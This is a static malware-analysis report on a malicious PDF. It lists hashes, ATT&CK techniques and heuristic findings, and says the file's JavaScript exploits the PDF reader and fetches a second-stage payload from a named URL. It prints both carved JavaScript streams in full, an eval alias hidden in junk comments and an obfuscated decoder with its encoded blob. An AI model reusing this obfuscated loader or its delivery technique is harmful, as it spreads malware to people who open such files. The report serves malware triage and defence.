Malicious PDF — malware analysis report

Static analysis result for SHA-256 99b1de3adbb87500…

MALICIOUS

PDF

2.7 KB First seen: 2026-05-11
MD5: cf8ac876b9a7e9235a088be1ec7371a1 SHA-1: 695da645dc6b52027b602b56fecb2c9bad9c8502 SHA-256: 99b1de3adbb875003db5e79716da544f8ceb52af2c5d443c800b7fe759f4ab84
158 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript that utilizes `eval()` and `String.fromCharCode()` to decode and execute malicious code. This script is designed to exploit a vulnerability within the PDF reader, leading to the download of a secondary payload from the URL http://d2F.QK/_-a. The ML classifier strongly indicates maliciousness, and the combination of JavaScript execution and exploit cluster firings points to a common PDF-based malware delivery technique.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/coancte5/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://d2F.QK/_-a Referenced by PDF JavaScript
🗂 Part of campaign: d2f.qk 21 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111711_000.js pdf-javascript-stream PDF /JS object 111711 at offset 0x197 373 bytes
SHA-256: 8705a6b607ae52fab2b47eb2b53d05ce5e90e21e0c1675da812a181ec76e977f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/ eval('/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/coancte5/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/=/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/eval;/*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/'); /*fGhkjkDFhkhsfd <FDSJHFhkjkjSDFkj> FDKLFJHklfkldshfSLDf*/
javascript_obj111712_001.js pdf-javascript-stream PDF /JS object 111712 at offset 0x249 3024 bytes
SHA-256: 231a5b589bcbc902e48cbfe5864fcdff8beed8bc9f6cf2fc7279b80443239dc6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
cletxph="0F1-1]1f2Z1d2d1b3]1`2h1^3?3Q1X1Y2J2]1<1U3L1M1P1Q3f3h1N3.3;1E1H1I33351F2W2Y1?1B3T1@3E3G1=3A3I1819273X1013142L2T112U2V1.383b0^1*3`0i2^0e0f3R3Y0c3a0a3[0_2g3+0Q0Z3K0T0W3_0U3S3c0R2f3V0O2[0K0L242R0I3^0G2X3-000=0B2O0@2b0>3Z3d090:3M3P072_053N032S0131370,0-2`3O0*2a2c";cwercza="A602ZBDFJcKb=gLj00C8hY7MM]T1D70SDG3?TD^IDPMaGJ^eBhNEeGY0Jcg2:j@7=I<9Ca-9SQdYS_ID5,1NK<5cMI=Wc_11K,.38ZCh6:h-L=V0I=7MMZK-<FH.38ZCh6:F<GJ^eCiI2BiD-7;_IHJH]7h8N7VKE^Bcg2:E@L-1<=V0I=7MMZ_Q1K,7?<9@==9`]aMgjU@fGKMg9e_7LL_fH7+[c:K,5P-.PC8b@VX282KbA`0=Dh9.3LV,.ZX8K6OQ:JTCN2*Eg2**.3OZ+,EGeR;=JXK8W:2<Z*T.OeJK96,N2/5+,<-^2;O^T:OJg]._Z9K96*>2T`JK5+h_3dNT:LT@,.]@G,CSPZJ*-R:1*.2CAGK*GEB:**2=DJe.XfIK**1:P?*2=[CV3fWC,CW,ZJ*-R=,J.3cGg2**.3@R+,@_@:J*-R=[*.3fWC,CW,ZJ*-R;=J,.+`HK9C:V2U+>K*5]R:**2<SQK,<V*:Qi1:LLXS,DCER<QEV2RR@K9.*:QX`N3E4/K**,ZP/*2:@?U,*f,ZJ**:PVg>3:YXK*5J:J**:P+KB:@?U,*f8K***K*-P:J+^2=@H4.RAb:J8^B:**2=[B@.haVK3I:V2**@.ZR+,*16K5JU@.-8C,D^[:O,ie.+aE,**+,?UKB=0,].**G,H2*K9GU2=7R@.**G,B>*K9-YK***K4`*2<aL].**G,H2*K9GU2=7R@.**G,4F*:J8U_3f4/K/B4N2+Ha.**,.TCc:NU*.3jK_2RUT:PP@e.Saf,44/R=[*.3fWC,@]KB:**V3K:,./ODZJ8ZV2**.3U9/,>5fR:,c.2**.3JB@./ODZJ8^R:**2:*dN2*F].`QLK4/h_2-Va.**,.g@/K9GU2;Q>5,**/K64*:J+^2<c4`K*^P:PVg>3:YXK*GPZJ**:ODc@.[JVK**1:JUJ,.]XA:P6^B=-6/,>?QZJ**:J**:J**:J**:J**:J**:J**:J**:QCD>3OS@K8Xf2=*N.34b8K58fc<`*,.db?K5>e_3[H/,Fe;B<:S/K*,^R=VW4.Z3@K8U2V3Cb4K8W`R=VN@.NT<R=3*.3ag4.OhVK8?a:KKJ+,?5cR<VY/,>+::NVCV2>?ER=[?O,4G>>2CW*K*+?2:**2:^*?,*?[N2**.2]fXK9Z/:J/FC,**+,<-^2=`<i.G<Q:KP*T.*UM2:**2:]ffR:,XU,**+,*SO_2c^gK**,ZM-*,.+=5R;[Qd,**/K6**K0A66K9Z/:J/FC,**+,CU-2<c[=R=8CG,IJ4K*4c].**,.SbLK5SH4.U=1:M8TT.OE+:PD/R==54K6b;:O^K4K*?R:KCIN2**@.>c*K+GAR;ObG,D/1:J4*V2eYd,**/K9.*:M5TG,IJ4K*4c].**,._]LR:*F.2**.2**.2**.2**.2**.2**.2**.3cJ,.FCi:J*+B=8*2=I]>3@XI,?U@V3Pd@.+^-2=ZSV2BBUB:,]W,EGSN3P>?,@SKB<`EA:KGWV3DOU:J+DN3KF].WD`2<>XU,G=WK8G`B=5GD.Wb?K8SZR<^X].N*+,Gb@K3+52:XhD.OjC,*1C,<5]R<<XG,/bYK8i::J+22<?Xi.N.U:KDTC,GF@V3ZXG,45aZNU<?,GVLZQ45V3`b?K8N@V3aT?,G:WB<:/a.N1I,F3?B;A4XK+**1Lga89,.2;FZBLZbOf*+j9L-L=6QEU@A9^I=Ri_@.93,WMMZK,.A602b_e:F:0XZ***:aL9?KY5a*-iI.9;*D`IHE11K,.2XB6<GJ^eBJcL1GI>C7U_g:JJ..22+*H5^Bcg2:K3a-9SL-L?DPVbaSRhQB6iP9C0iQE^Bcg2:K/^+L=BY^F7QVT:F;e-@/*R/*R:aL*`a***5[-E2-AB***E11K,.3?D6;eXB6;FY>7CT/_d+[*E.A5`-@DKG8;I.P[IPcE9C?V;FY>7CT/_d-_HLAM:FH.2:K,600Q7_XAT0V`,eFbC+[3a-9SL1RN^3ae`O^Bcg2:K-<FH.2:LdJ[0JhIU-c]i9]-L2G`h;NaY=[*,9/dVFH.2:KiVDPiNHW+ej@1[OgIY^I=Ri_@.A[*Df**APJhIU-c]i9]1RF;R9AeZi6YMhVFH.2:M:HY`KgCI1d+[-ZI9[c2HL7+ej@1[OgIWMMZK,.C76jA5D9^iWEWa09ZjU:a45=U`R9AeZi6YMiga89,.72";crazx=2745;clfvioc9=new Array();while(cletxph.length){clfvioc9.push((jzyrcp(cletxph.charCodeAt(0))<<(4+2))+jzyrcp(cletxph.charCodeAt(1))-(500+12));cletxph=cletxph.slice(2,cletxph.length)}brjqk4=izhtbtf=cletxph=0;eoaudwc='';function jzyrcp(imklb){if(imklb>92)imklb--;return imklb-42}function kmbohl(){if(cletxph==0){izhtbtf=jzyrcp(cwercza.charCodeAt(brjqk4++));cletxph=6;}return ((izhtbtf>>--cletxph)&0x01);}while(crazx--){i=0;while(clfvioc9[i]<0){if(kmbohl())i=-clfvioc9[i];else i++;}eoaudwc+=String.fromCharCode(clfvioc9[i]);}

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